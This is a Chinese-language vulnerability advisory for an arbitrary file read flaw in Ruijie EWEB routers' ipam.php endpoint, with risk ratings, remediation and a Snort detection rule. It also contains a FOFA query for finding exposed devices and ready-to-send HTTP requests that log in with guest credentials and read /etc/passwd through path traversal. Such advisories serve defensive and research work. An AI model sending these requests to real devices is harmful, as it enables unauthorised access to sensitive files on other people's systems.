锐捷EWEB路由器-ipam.php-任意文件读取漏洞¶
锐捷EWEB路由器-ipam.php-存在任意文件读取漏洞，从而导致读取服务器上的敏感文件。
影响版本¶
锐捷EWEB路由器
漏洞状态¶
| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|---|---|---|---|
| 是 | 已公开 | 已公开 | 已知 |
风险等级¶
| 维度 | 评价 |
|---|---|
| 威胁等级 | 高危 |
| 影响面 | 广 |
| 攻击者价值 | 高 |
| 利用难度 | 低 |
漏洞复现¶
FOFA：title="锐捷网络-EWEB网管系统"
POC/EXP：获取Cookie:
POST /ddi/server/login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
username=guest&password=guest?
POC/EXP：读取文件
POST /ddi/server/ipam.php?a=getIpamJson HTTP/1.1
Host: 127.0.0.1
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Cookie: RUIJIEID=32cbbiji6pr8g860e1jjjg3t27; path=/; HttpOnly
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
path=../../../../etc/passwd
snort规则：
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"Ruijie EWEB Router ipam.php Arbitrary File Read";
flow:to_server,established;
content:"POST"; http_method;
content:"/ddi/server/ipam.php?a=getIpamJson"; http_uri;
content:"Content-Type: application/x-www-form-urlencoded"; http_header;
content:"path="; http_client_body;
pcre:"/path=[^&\s]*?\.\.\/\.\.\/\.\.\/\.\.\/etc\/passwd/i";
metadata:affected_product "Ruijie EWEB Router";
metadata:attack_type "Local File Inclusion";
metadata:severity "high";
classtype:web-application-attack;
sid:1000051;
rev:1;
priority:1;
)
漏洞修复¶
关闭互联网暴露面或接口设置访问权限
升级至安全版本。